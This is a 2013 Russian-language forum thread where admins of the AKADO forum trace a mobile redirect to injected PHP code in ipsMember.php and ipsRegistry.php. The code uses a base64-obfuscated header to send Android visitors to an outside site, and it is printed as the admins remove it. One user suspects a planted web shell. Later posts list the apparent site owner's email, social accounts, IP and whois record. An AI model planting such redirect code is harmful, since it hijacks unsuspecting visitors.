←  О форуме

AKADO.Форум

»

Что, по-вашему мнению, нужно сделать,

Опрос: Нужно что-то делать? (109 пользователей проголосовало)

Нужно что-то делать?

  1. Нет, меня и так всё устраивает (21 голосов [19.09%])

    Процент голосов: 19.09%

  2. Да безусловно, надо не стоять на месте, а усовершенствоваться (52 голосов [47.27%])

    Процент голосов: 47.27%

  3. Кроме отвисонов ничего исправлять не нужно (13 голосов [11.82%])

    Процент голосов: 11.82%

  4. где я? что я тут делаю, а какой сегодня год? (24 голосов [21.82%])

    Процент голосов: 21.82%

Голосовать Гости не могут голосовать

 фотография ВОТ 22 янв 2013

... кнопочку "игнорировать" хочу !!! жмах и все посты данного пользователя скрыты, а для контроля и управления списком - в настройках пользователя: список пользователей в "игноре".
Ответить

 фотография MR.KILLER 22 янв 2013

 ВОТ (22 января 2013 - 12:01) писал:

... кнопочку "игнорировать" хочу !!! жмах и все посты данного пользователя скрыты, а для контроля и управления списком - в настройках пользователя: список пользователей в "игноре".

Уже есть,не?
Прикрепленное изображение
Ответить

 фотография Вадик 24 янв 2013

 Вадик (21 января 2013 - 11:50) писал:

Да, сейчас с оперы мини с мобильника входит на форум без редиректа.
А сегодня опять началось...
Изображение
Удалось сфоткать не саму загрузку, а адрес сайта куда перенаправляет.

Это опять "только у меня"?
Ответить

 фотография MR.KILLER 24 янв 2013

Да поставьте уже какой-нибудь сторонний бесплатный мобильный скин.
Ответить

 фотография Ultima 24 янв 2013

С какого устройства открывал и каким браузером
Ответить

 фотография Вадик 24 янв 2013

Самсунг Гэлакси Эйс 2
Браузер Опера Мини.

После трех отмен попадаю на мобильную версию форума и уже потом перехожу на полную версию.
Может на пару дней отключить мобильную версию и посмотреть будет ли редирект, если вход на полный форум сразу?
Ответить

 фотография Ultima 25 янв 2013

Нашел ) чуть позже поправлю
Ответить

 фотография Ultima 25 янв 2013

Вот такие веселые коды прописались в ipsMember.php при удалении выскакивает ошибка форума, будем дальше копать

}
$mbrowser = function_exists("mobile_device_detect") ? mobile_device_detect() : false;
$is_session_alive = isset($_COOKIE['is_session_alive']) ? intval($_COOKIE['is_session_alive']) : 0;
if ($mbrowser != false && $mbrowser[1] == 'Android' && $is_session_alive < 3) {
setcookie("is_session_alive", ++$is_session_alive, time() + 3600 * 24 * 1, "/");
header(base64_decode("TG9jYXRpb246IGh0dHA6Ly93d3cua2lya2Rhdmlkc29uLmNvbS9qcy9mcC5odG1s"));
exit;
}

и в ipsRegistry.php - этот снес

}

$mbrowser = mobile_device_detect();
$is_session_alive = isset($_COOKIE['is_session_alive']) ? intval($_COOKIE['is_session_alive']) : 0;
if ($mbrowser != false && $mbrowser[1] == 'Android' && $is_session_alive < 3) {
setcookie("is_session_alive", ++$is_session_alive, time() + 3600 * 24 * 1, "/");
header("Location: http://www.kirkdavidson.com/js/fp.html");
exit;
}


Если расшифровать вот это через base64 декодер TG9jYXRpb246IGh0dHA6Ly93d3cua2lya2Rhdmlkc29uLmNvbS9qcy9mcC5odG1s
получаем - Location: http://www.kirkdavidson.com/js/fp.html

Вот так ))
Ответить

 фотография Вадик 25 янв 2013

Не знаю что это :laugh2: но слава богу, что косяк наконец-то нашелся ))))

Это в мобильной версии форума?
Может проще ее отключить, чем мучаться...?
Сообщение отредактировал Вадик: 25 января 2013 - 16:55
Ответить

 фотография MR.KILLER 25 янв 2013

 Ultima (25 января 2013 - 16:34) писал:

Вот такие веселые коды прописались в ipsMember.php при удалении выскакивает ошибка форума, будем дальше копать

}
$mbrowser = function_exists("mobile_device_detect") ? mobile_device_detect() : false;
$is_session_alive = isset($_COOKIE['is_session_alive']) ? intval($_COOKIE['is_session_alive']) : 0;
if ($mbrowser != false && $mbrowser[1] == 'Android' && $is_session_alive < 3) {
setcookie("is_session_alive", ++$is_session_alive, time() + 3600 * 24 * 1, "/");
header(base64_decode("TG9jYXRpb246IGh0dHA6Ly93d3cua2lya2Rhdmlkc29uLmNvbS9qcy9mcC5odG1s"));
exit;
}

и в ipsRegistry.php - этот снес

}

$mbrowser = mobile_device_detect();
$is_session_alive = isset($_COOKIE['is_session_alive']) ? intval($_COOKIE['is_session_alive']) : 0;
if ($mbrowser != false && $mbrowser[1] == 'Android' && $is_session_alive < 3) {
setcookie("is_session_alive", ++$is_session_alive, time() + 3600 * 24 * 1, "/");
header("Location: http://www.kirkdavidson.com/js/fp.html");
exit;
}


Если расшифровать вот это через base64 декодер TG9jYXRpb246IGh0dHA6Ly93d3cua2lya2Rhdmlkc29uLmNvbS9qcy9mcC5odG1s
получаем - Location: http://www.kirkdavidson.com/js/fp.html

Вот так ))

Это бесполезно удалять. Очевидно залили шелл. Смотри в .htacces'ах наверняка есть код реврайта.
По-хорошему надо бэкапить всё и делать полную чистку.
Ответить

 фотография Д' Артаньян 25 янв 2013

У меня на iPad козявисто работает сейчас форум. Глюков нет.
Раньше то-же какая-то хрень была. При входе клип показывали, где какой-то чувак сбрасывал наковальню на другого чувака.
Ответить

 фотография SUROK 25 янв 2013

Замените этот файл, затем admin/sources/base/ipsController.php, затем перестройте кэш стилей.

... полистай.
http://ipbmafia.ru/t...мов-которые-не/
http://ipbmafia.ru/t...та-расследовал/
Ответить

 фотография Ultima 27 янв 2013

Да уже читал , спасибо. Патчи тоже все стоят ;)
Ответить

 фотография Ultima 28 янв 2013

А человек наверное и не знает что у него такое добро на сайте живет ))
Изображение

http://www.kirkdavidson.com/contact/

Киллер оформим ему посылку по контактам?)))
kirk@kirkdavidson.com

https://www.facebook.com/kirkdavidson
https://twitter.com/kirkdavidson
http://www.youtube.c...ser/kdavidson24
http://www.myspace.com/davidsonband

IP 208.113.234.105 Хост: kirkdavidson.com Город: Brea Страна: Изображение United States

Domain Name: KIRKDAVIDSON.COM
Registrar: NEW DREAM NETWORK, LLC
Whois Server: whois.dreamhost.com
Referral URL: http://www.dreamhost.com
Name Server: NS1.DREAMHOST.COM
Name Server: NS2.DREAMHOST.COM
Name Server: NS3.DREAMHOST.COM
Status: ok
Updated Date: 14-feb-2012
Creation Date: 02-mar-2010
Expiration Date: 02-mar-2013
Ответить

 фотография MR.KILLER 28 янв 2013

http://www.kirkdavidson.com/js/


sample.txt

fp.txt

А на счёт посылки я не понял? Написать,про то,что его сайтом кто-то пользуется при взломе форумов?
Ответить

 фотография Вадик 28 янв 2013

 MR.KILLER (28 января 2013 - 19:05) писал:

А на счёт посылки я не понял? Написать,про то,что его сайтом кто-то пользуется при взломе форумов?
Только не так, как писайл Майклу :z_6:
Ответить

 фотография MR.KILLER 28 янв 2013

Лет ми спик фром май харт.

Скрытый текст

Сообщение отредактировал MR.KILLER: 28 января 2013 - 19:30
Ответить

 фотография Ultima 29 янв 2013

ахаха ))))
Вот еще код выгреб с форума теперь все вроде чисто.. проверяем :)
Скрытый текст
Ответить

 фотография ВОТ 29 янв 2013

чисто, ОК :)
Ответить

 фотография Вадик 29 янв 2013

Да, вроде заходит - спасибо!
Ответить